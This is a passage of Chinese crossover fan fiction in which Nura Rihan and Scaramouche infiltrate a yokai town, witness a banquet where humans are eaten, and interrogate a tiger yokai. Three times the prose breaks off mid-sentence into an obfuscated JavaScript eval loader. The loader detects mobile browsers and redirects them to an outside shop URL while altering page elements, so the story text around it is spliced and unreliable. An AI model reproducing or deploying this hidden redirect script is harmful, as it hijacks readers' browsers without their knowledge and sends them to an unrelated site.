“啊。”奴良鲤伴慵懒的看向散兵,金眸里眼眸流转,意有所指道,“倒也不能全算是坏事儿,新奇的地方总是不一样的。” 虎妖狐疑的目光在两者间打转,似有所感。 同时被两个人盯着,散兵看了看一脸古怪的奴良鲤伴,和一脸心照不宣的虎影丸,失去了那份作壁上观的从容,他扯了扯唇角,语带笑意,慢条斯理地说道:“怎么,你们都没事做吗?别得意了,省得看到了浦岛太郎空空的白骨,反倒要掉眼泪了。” 同样的话,在虎影丸听来便是少爷出门也要携带的小情人含情脉脉地撒娇,还不忘劝阻少爷不忘出门的任务,当真是明事理极了! 而奴良鲤伴则感受到了那溢于言表的嘲讽,维持着的半真半假绵绵情意不由得僵硬了片刻,他一时无法判断对方明白了自己的意思没,毕竟这是临时起意,如果不配合,反而容易弄巧成拙。 不过目前这样也大概够了吧。他不着痕迹地瞥了一眼沉浸在自己情绪里的虎影丸。 “真是麻烦啊。”奴良鲤伴皱眉“小声”嘟囔着,看向了虎影丸。 善解人意的忠心下属自然也意会,“二代目大人,您就安心地把这些交给我吧。虽然鬼灯町不如外面,但是在我这儿安全还是有保障的。” “倒也不用麻烦,你就随便找找好了,反正老爹多半也是心血来潮。” 奴良鲤伴站起身,摆了摆手道。 虎影丸抢先一步,打开了门,“您的房间我已经安排好了。” 奴良鲤伴矜持地点了点头,示意对方带路。 虎影丸在前面引路,将两人带到了走廊尽头的房门前拉开了障子门,“这间屋子从建成起,还没人入住过,今天能迎来您的到来,也是荣幸。” 奴良鲤伴笑得眯起眼睛,他扫过室内,确认并无什么埋伏,便拉过散兵的手,手指狎昵地抚过后者的手背,感受着手里想要抽出的力道,他心想着果然是没明白,只能加大了些力道往自己的方向一扯。 非但没能抽出手,猝不及防下反而被拉了一个踉跄,散兵抬起眼眸,低声道:“你这……” “不需要人服侍,让其他人都走远点。”奴良鲤伴一派高傲地扬了扬下巴,将散兵往自己的怀里揽了揽打断了少年的话,“我们一路上很累了,需要好好休息。” 有了自己的猜测,虎影丸只觉得此刻这位少爷脸上的表情怎么看怎么暧昧,于是露出一个心照不宣地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“可惜现在已经变成聒噪了,也没好到哪儿去吧。”散兵动作浮夸的做出一副嫌弃的模样,摊了摊手,“所以我为什么非要在这两种中选一个?” “呵呵。”奴良鲤伴屈指抵在唇边,故作思考,金色深沉,视线却牢牢地锁在少年身上,“可能是因为我那日诵唱的祷词读音太过精准吧。” “无趣的男人才会把那么久的事情还念念不忘的挂在心上。” “没办法,我就是这么无趣的男人。”奴良鲤伴身体略微斜侧,调整了一下姿势,微微仰起头,唇角勾起一抹潇洒的笑容,眼神中带着几分漫不经心,声音却很认真,他朝着散兵伸出手,“怎么样,要不要去做一点有趣的事情。” 他轻而快速地眨了一下那只睁着的眼,长长的睫毛像是蝶翼轻展。 散兵只觉得胸膛里不存在的东西似乎停摆了一瞬。 37.宴会 于是散兵低下头,垂下的碎发遮住了紫色的眼眸,只留下带着笑意的声音,“还真是大言不惭啊。” 他伸出手,与那只递过来的手掌交握,借着从另一边传过来的力道靠近对方,明镜止水从两人手掌相接的地方蔓延而上,障子门被拉开的那一刻,抬起的眼眸里短暂的柔软情绪一闪而过,借着又被大妖怪覆盖而上的力量隐匿得干干净净。 “把鬼鬼祟祟地跟踪说得像是孩童的游乐。”他低笑着刺道,补上了后半句话。 不硬不软的刺比起来攻击更像是调笑,奴良鲤伴眉眼带笑,“毕竟我是滑头鬼嘛。” 尽管早已探查过并无他人,奴良鲤伴还是小心翼翼地合上了门,没有发出一丝声响。 “把欲念推给本能,这可是全凭本能行事的动物才会做的事情。”散兵对他的理由嗤之以鼻。 关上了门,奴良鲤伴也自在起来了,他顺着来路折返,语气轻快,“有些事情还是留些朦胧美更动人,如果直接说出来了也就失去了趣味了。” “……我总觉得你说的不是这件事情。” 奴良鲤伴弯了弯眼眸,刚想再说两句俏皮话引开一触即分的话题,他蓦地停住,放低了声音。 “……当然有些事情还是需要弄清楚,才能够安心。” 这里的走廊不窄,两人并排行走,他看到的散兵自然也看到了:那只虎头的妖怪明显换了一身深褐色的和服,看起来庄重不少,只可惜那件在烛光下泛着柔润光泽的和服,被肌肉虬结的身躯撑得可怜兮兮的,让这仅有的几分庄重变成了滑稽的不伦不类。 手掌被轻轻捏了一下,散兵看过去,正对上了一双——一只——亮闪闪的眼眸,充满了邀功的意味。 怎么样,来得正是时候吧! ……幼稚。紫水晶一样的眼眸眯起,配上抿起的唇和上挑的唇线,清晰地在无声中表明着主人的态度。 木质地板无疑也是一种廉价而实用的警卫。但如果其中一人能够操纵风让自己漂浮在空中,一人更是做这些事情习惯了,便不是什么困扰了。趁着小妖开门,两人甚至抢先虎影丸一步冲了出去。 这平地而起的风当然引起了妖怪的注意: “奇怪。” 虎影丸皱了皱眉,以不符合他外表的谨慎端详了一圈门口的景象,确认一切如常他才迈出了宅子。 就如同大妖圈定领土一样,鬼灯町虽然强行把桀骜不驯的妖怪们圈定在了这片半游离于现世的土地上,让他们不得不以人类的居住密集程度生活,但大妖的“尊严”还是保留了。周围的区域都是归属于大妖的领地,一切规矩都是大妖说了算。 ——虽然这地方本来也没什么规矩,唯一的规矩就是强者即一切就是了。 虎影丸所居住的这一带都很安静,没人想试试大妖怪今天的心情如何,会不会因为一点噪音给予自己作为盘中餐的荣幸。 作为领地的标识,巷子口的墙上被用爪子粗糙地抓出了一个虎头,奴良鲤伴正是凭着这个摸到地方的。 当来到另一条街道,喧闹才重新回归了。 “怎么,要憋得不行了?想让你安静一会儿,还真是难如登天啊。”散兵挑了挑眉,凉凉地说道。 刚刚这短短的一段路上,这个家伙不断在试图引起他的注意,传递自己的想法,连片刻的安静都忍不了。 “毕竟我可是油腔滑调的妖怪。”奴良鲤伴用散兵的话语回敬道。 “很高兴你终于对自己有了清晰的认知。” 散兵张开的唇顿了顿,唇线扯动,露出了一个虚假的冷笑,声音低沉,“……也希望你也能早日抛弃那些无趣而可笑的理想,专心站在一边。” 奴良鲤伴收回了看向再次路过的那对母子——以不完整的尸体形态——的视线,他的眼眸不再有太阳的光辉,灰暗冰冷,液态金属一样的颜色无疑强调着其非人类的身份,“如果能这样做或许也很好。可是没办法,谁让我也这样爱着人类呢。” 他勾了勾唇,半是无奈半是温柔,“既然是这样的身份,或许让我如此便是天意吧。” 明明表情神态都仁柔寡断都要命,却在这个时候如此坚定。散兵冷眼看着他,只听到大妖怪继续说道:“人类和妖怪,我都一样的喜欢喔。” 天意——呵,命运这种东西听起来就让人反胃。他冷哼一声加快了步伐,只留给奴良鲤伴一个背影,“……脚踏两边的异类,稍微有些水花,就会落入水中吧。你且好自为之。” 正如那些人*,再亲密又如何呢,只要是异类,不管做了什么,不管外表再接近人类,都会被排斥吧。人和异类终究是不同的。 “不会喔。”奴良鲤伴意气满满的笑道,“我相信站在身后的大家。” “容我提醒你。” 真是天真的想法。散兵懒得过多纠结于这个话题,他对奴良鲤伴并无任何责任,两人也只是因为这种临时关系而不得不同进退而已,未来事情,轮不到自己担忧,“想要从这里出去很难吧,起码对那些人类来说。” “啊,这点我也有所疑问。”奴良鲤伴紧了紧交握的手,坚定温暖的手掌传递的既是安抚,也是对未来的信心。 这动作近乎本能。他在想的是另一件事,即那明显不对劲的人数,距离鬼灯町地开辟已有上百年时日,这地方本来就是荒郊野岭的,就算是有什么缘由倒霉被卷进来的人类,也不应该还“富裕”到被拉到街上叫卖。 而周围的妖怪也一副司空见惯的模样。 奴良鲤伴另一只手屈指顶着自己的下巴,“可能……并如此呢?” 散兵挣了一下没能挣开,便任由大妖怪动作了,闻言他冷笑了一声,“那这件事就麻烦大了。” 奴良鲤伴叹了口气,这种事他又怎么会不知道,只希望事情没到这个地步。 穿过一条条街道,散兵忽然皱了皱眉。 “奇怪,那个比丘尼说能感知到浦岛太郎的存在,但在我的感知里,那种感觉就像是这些血腥气一样,无处不在。” “很奇怪。”散兵的声音困惑几乎溢了出来,他很少有这么直白地把迷茫表露出来的时候,这让奴良鲤伴打起了精神,“从一进来我就觉得了,一直难以确定,但是它现在似乎变强了。” 他看向天空,云层低垂、厚重而压抑的天空显得昏暗沉重,空气中好似都弥漫着一种沉闷的气息,或浓或重的血腥气取代了外界清新的植物气息,这大大地干扰了散兵的感知。 奴良鲤伴很快就与传说对上了,“玉手箱?” “那里面存放的只是他的时间吧。”散兵摇了摇头,“就算是把时间等同于生命,他的生命也不至于有这么多。” 况且,如果有人的生命能覆盖这么大的范围,那他还是人吗? 两人各自陷入了思索,时不时地交谈一句互换思路。又过了一段时间,大抵是进入了新的大妖领地,人群逐渐稀疏,血腥气却更浓了,周围重新变得安静起来了,这种环境继续交流就太过显眼了,两人重新归于了安静。 奴良鲤伴看了一眼散兵,用眼神询问是否有所变化。 散兵点了点头,又摇了摇头,虽然有些上升,但和一路上增加的比起来并不突出。 大妖怪所有所思地点了点头。 根本不知道自己被两个人跟踪的虎影丸的步伐很快,显然对这里十分熟悉,脸上带着一种急切的喜悦,像是迫不及待地前去领赏一样。 散兵又装作无意地扫过奴良鲤伴,见他没在纠结于人类的事情,便安心了些许。虽然他也不觉得奴良鲤伴是会在随时可能爆发战斗的情况下,还会走神的类型,但是大妖怪平日里的浪荡模样还是令人太不放心了。 跟着前方魁梧的身影,他们到了一处院落。如果说整个鬼灯町的建筑都新得不像样子,近乎与外界一致,那这里可以说是完全就是外界的贵族应有的模样了。 远处望去它宛如一幅精致细腻的浮世绘,静谧而优雅地镶嵌于这个建立在弱者骨血上的恶妖之乡。古朴的灰砖阻碍了来者窥视的视线,只能看到几团开得正好的樱花越过了墙面。厚重的木门前侍立着两个女性妖怪,都穿着十分精美的和服。 虎影丸谄媚地凑了上去,在狐狸侍女的娇笑中,顶着一对兔耳朵般大少女红着脸进了屋里。 奴良鲤伴又捏了捏散兵的手,而这次后者终于不耐烦了——果然连这片刻都不能忍住吗? 思及前两日不知怎么奴良鲤伴像个孩童一样只拽着他的衣服,今日倒是一副要将前几日前的全部补回来的架势。他怒从心中生,勾了勾唇,狠狠地握住了大妖怪的手。 奴良鲤伴猛然睁开了眼睛,他只觉得那柔软的、没有半分茧子的手指抓弄着自己的手掌。 这可不是合适的时候啊。他轻轻的拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两人也终于得以一窥其中面貌:只见古朴而精致的府邸内,坐着的却并非衣履光鲜的达官显贵,而是一群面目各异的妖怪;空气中弥漫也并非淡雅的熏香,而是酒水与血腥气混合在一起的难闻气息;最后,精致食盘中盛放着的也并非精致的食物,而是还保持着不少原样的“食材”。 这些不只是奴良鲤伴,散兵的面色也不好起来了。 他对人类并无太多憎恶,即使是在找回记忆前也是如此*,相反,不管是为了生活奔走忙碌中的朴素幸福,还是遇到惊吓时的丰富表情都十足有趣。但这太过了。 如此恶心丑陋。说不清是怒火还是反胃的情绪令散兵不由得后退了一小步,手腕抬起—— 他的手陷入了另一只温暖的手的包裹中,脸色同样不佳的大妖怪轻轻地摇了摇头,揽着他退到了角落之中。 在这段时间里虎影丸早已经在中游的位置上坐下了,他正端着酒碗,和妖怪们的讨论着食物。 散兵厌恶的看了他一眼,扭过头观察起墙壁来,这当然除了转移注意力外并无任何作用。奴良鲤伴则若有所思地打量着这里所落座的宾客。 觥筹交错,两人就这样站在角落里,过了一轮,才终于从外面传来拖曳着什么东西的脚步声。 这一瞬间,喧闹的大厅突然安静了下来,一个个坐姿不端的妖怪也在一瞬间正襟危坐起来。两人心知正菜终于来了,也把警惕性骤然升至顶峰。 那道万众瞩目的障子门被一双柔软的白嫩柔荑拉来,之前在门口担当门房的狐尾少女探身,露出了一个俏皮的笑。 紧接着,在呼吸声也听不见的寂静中,一个全身上下被黑袍裹得严严实实的身影出现在了门口。 奴良鲤伴的眉头皱起,若非是周围妖怪脸上那种恭敬做不得假,他几乎都要怀疑这个神秘兮兮的家伙也如同狐尾少女一样不过是个调皮一下行径了。 黑袍人显然不会在乎不请自来的恶客的看法,他缓缓朝着主位踱步,刚刚还喧闹无比的妖怪们此时无比有耐心,都低着头不敢直视他的身影,安静肃穆的好像一座座雕像,他们就这样等待着他的落座。 而当黑袍人坐定,他们似乎大松了一口气,但接下来,他们的心就又重新悬了起来,只听到黑袍人用古井无波的声音道: “有客来访,你们竟然一无所知。” 妖怪们的心还没放下去,两位不请自来的恶客的心也悬了起来——什么时候被看透的? 38.审问 虽然不惧这些家伙,但这么早就打草惊蛇了,后面会很难办啊。奴良鲤伴无声地叹了口气,手指握上弥弥切丸的刀柄,他能感受到退魔刀的迫不及待,可如果可以,他还是希望不用这么早就采用暴力手段。 比起他们,在场的其他人更为紧张一些,尤其是虎影丸,几乎停不下的汗水将他的毛发打得一缕一缕地缠在一起,又顺着毛发一滴滴地落在地上,积成了一个小小的水洼。 “带上来吧。” 黑袍人将众妖的模样收入眼底,但是托那黑布的福,谁也看不透他的情绪,他一声令下打破了寂静,“沙沙”的织物摩擦在地面上的声音又重新响起,在场人的目光皆追溯着声音都源头望向了门口。无人知晓间,退魔刀出鞘露出了半寸锋芒,只待一个最佳时期。 只见那位狐尾少女做出一副吃力的模样——当然,谁都知道作为一个妖怪并不至于如此——拖着一块黑布进入了大厅。 而造成沙沙声的源头,两人对他都不陌生——正是在进入鬼灯町前在森林中遇到的窥视着他们的小妖。 散兵一双似笑非笑的眼眸看向了身边的奴良鲤伴。大妖怪苦笑着以手扶额,不可抵抗地接收到了其中的嘲笑。 但他觉得这件事怎么也怪不到自己头上吧! 谁能想到上百年不得轻易进出的限制早就被破了不知多少时日,而不管是阴阳师还是妖怪,竟然无一人发现。 奴良鲤伴的眸底划过一丝暗芒,这倒也是不同寻常,根据记载,往年从鬼灯町出去的妖怪,无一例外都会以这里的规则在外界大肆杀戮,随即很快就会被处理,从未有过这种明显越狱了很久,却一点痕迹都找不到的情况。 在这段时间,黑袍人也没闲着,他先是训斥了一圈诸妖的懒散懈怠,又下达了命令:“……接下来正是大人的关键时期,如果谁导致了计划的失败,就用另一种方式弥补吧。” 他的声音平静,却无端生出一股冷意,虎影丸眼神游移不定,粗壮的手指桌面上来回划着圈——他没胆量在这个时候敲击发出声响——身子微微前倾,又时不时向后靠去,仿佛是下定了决心,他的身体前倾的幅度比之前大了些,眼看着就要起身,下一瞬他就觉得颈间一凉—— 早就注意到了他异样的奴良鲤伴不知道何时已站在了他的身后,察觉到妖血的弥弥切丸雀跃着散发着冷意。 “滴答。” 自鬓角流下的汗水坠落在地面,虎影丸的身体又僵硬着后靠。 但他的异样太过明显,只听到催命符一般的声音道:“你有什么想说的吗,虎影丸。” “我……”冰冷的锐器抵在他的脖颈,他咽了咽口水,如同一只家猫般乖巧,“我只是突然想起来,或许,或许能派人守在墙角之类的地方,有什么人进来了我们都能知道——” “废物。”黑袍人冰冷地看了他一眼,他就不该对这些妖怪报以什么期待。 虎影丸“失落”地低下了头,在旁人或是嘲笑或是可怜或是同情的目光中,劫后余生的喜悦弥漫在了心头,无暇去安抚怦怦乱跳的心脏,他深知,这还远不到放心的时候,自己的身后是谁——? 谁会在这个时候出现呢,谁会在这个时候明明在场却无一人察觉呢,谁会想要阻拦自己说出的话呢—— 这个问题似乎不必疑问了。 滑头鬼这种令人难以防备的畏,在这种时刻尤为可怖,而一旦陷入了恐惧便已经输了。不,从他被那家伙的表象欺骗的时候就已经输了。 那么生存的可能——?浦岛太郎?浦岛太郎! 在外界享受着优渥生活的妖怪竟然会到这种地方来,倘若那些是假的,这种“不重要”的目标也应该是重要的才对。 黑袍人退去后自然有小妖换掉残羹冷饭,奉上新的酒食,喧闹的宴会重开,但是虎影丸已经再无心思享乐,他故作不屑地向周围人打听起来这个名字来。 奴良鲤伴和散兵没有离他太远,借着虎影丸的举动,他们也打量起被询问到的妖怪的神色起来。 这些妖怪都是与虎影丸相比不逊色,甚至实力更为强劲的妖怪,所了解到的信息恐怕更多。 散兵扯了扯奴良鲤伴的袖子,冲着角落里的一个身影扬了扬下巴。奴良鲤伴顺着他的示意看过去,那是一个外表看起来几乎就是人类的家伙,干燥毛乱的头发自然披散在肩膀上,遮住了他大半个脸颊,这家伙显然人缘不佳,四周的妖怪交谈间明显有意避开了他。 奴良鲤伴若有所思地把他加入了关注清单,这一趟到确实收获不少,有些家伙听到“浦岛太郎”的名字时,明显态度有些不同,有了目标接下来就好办事了。 虎影丸忧心忡忡地走出了宅邸,他的脚步不复来时的情况,磨磨蹭蹭地,带着几分赶赴刑场的不情不愿,但再长点路也有尽头,与某个寂静的巷子中,他被猛地一推,一个踉跄就被赶入了墙角。 原本街上还有几只游荡的小妖,见突然出现的人影还在好奇地远望着,但身材略显矮小的少年蓦然回头,在他们对那张美丽的面容产生什么别的想法,几道风刃便朝着他们的所在袭来,伴随着几声刺耳的尖叫,还活着的小妖鸟兽散去。 “运气真好。” 散兵瞥了一眼那些逃窜的身影,收回了视线。 “二代目大人。”虎影丸搓着手,一副谄媚的模样,“您吩咐的事情,我已经有头绪了。” “喔?”奴良鲤伴好像之前用刀抵着虎影丸脖子的不是他一样,甚至笑眯眯地道歉道,“刚刚真是抱歉,没想到会在这种地方‘撞’上你呢。” “不过看起来我来得正是时候,你好像有什么想对我说的?” 虎影丸僵硬地笑了几声,干巴巴地恭维道,“像您这样的大妖怪,哈哈,这真是令人羡慕的力量。” 他不敢继续再在这个话题下纠缠,“那个——您要找的人——那个浦岛太郎,有一些人的确听过他的名字。” 奴良鲤伴以一副轻松的笑脸鼓励地看着他,但他的手从未离开过腰间的弥弥切丸半分,威胁之意不言而喻。 “他、他是个人类。” “你再这样用废话拖延时间,我们可要重新评估你的价值了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13176219|133263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”散兵慢条斯理的优雅说道。 他的声音不含有任何威胁,但却让虎影丸已贴着墙的身体又后退了几步,这与过于健硕的身体形成的反差,倒显得有几分滑稽的可怜。 “他是元老!这地方一开始他就存在了。” 沉浸在“我们”中的奴良鲤伴捕捉到了关键词,这不是刚刚宴席上虎影丸打听到的消息,“这种消息,你是怎么知道的?” 虎影丸可才来这地方不算太久,而妖怪又不同人类一般喜欢记录历史。毕竟活得久的妖怪自身就是活的历史。 “藏书。”他有些委屈巴巴地,“夜隐鬼大人的书房,我刚来的时候被他们关在里面了好久,无聊之下就翻到了。” 散兵以一种古怪的表情看向了奴良鲤伴,而后者分明从那双带笑的眼眸里读到了“你们妖怪都这么幼稚么”的意思。 “夜隐鬼是谁?”已有线索的猜测和真相看似一线之隔,但把猜测当成确凿的消息是会要了命的。 “就是我们、我我参加的宴会上的主人。”虎影丸吞了吞口水,眼珠一转,贴着身子的手背到了身后,“鬼灯町都听他的,他要我们每个月都到那儿去汇报情况。”虽然大多时间都只是尽情享乐。 “他要你们做什么?” “看好这里,如果发现有外人就拿下他去汇报。” “这里能和外界自由出入?” “不知……”虎影丸看着含笑的大妖怪,一苦脸改口道,“能能能,但应该不是走的守门人那条路。” 他为自己找补:“所以我说得也没错,我确实不知道他们是怎么回事儿。” 一个轻柔的声音插入问道:“那些人类都是都是这种方式进来的吗。” 紧张之下,这般近似温柔的声音无疑让他精神以松,“我觉得不是,只有在夜隐鬼大人那儿才能吃到这么紧实、有嚼劲的肉,和平时那些都不一样——” “原来如此啊。”散兵的声音依旧轻柔,唇角甚至扯出一个无可挑剔的弧度,但那双不含半分喜意的冰冷眼睛令虎影丸不由打了个寒战。这个少年难道……真的是人类? 更不妙的是那个到这个地方来的公子哥、不,二代目脸上也失去了笑意,他这时候才忽然想起,听说,这位奴良组的继承人,似乎是个有一半人类血统的半妖。 “宴会厅角落的那个男人是谁?那个头发乱糟糟的家伙。” “他……也是个人类。” 奴良鲤伴挑了挑眉,还没追问,自觉失言的虎影丸便说道:“他是个弱小的家伙,和那些食……人没什么差别,他之所以能坐在那儿,都是夜隐鬼大人的命令。” “我倒是不知道,只会追寻野兽的本能也会如此听话?”散兵出言刺道。 “所以我怀疑,他是‘里面’的人。”虎影丸带着几分破罐子破摔的情绪说道,“他一定不是外表看起来都那样,不然这小子早就死在其他妖怪手里了。” “‘里面’?”散兵看向了奴良鲤伴,忍不住嘲弄道,“没想到你对这里的了解程度,和我相比倒也算得上是旗鼓相当么。”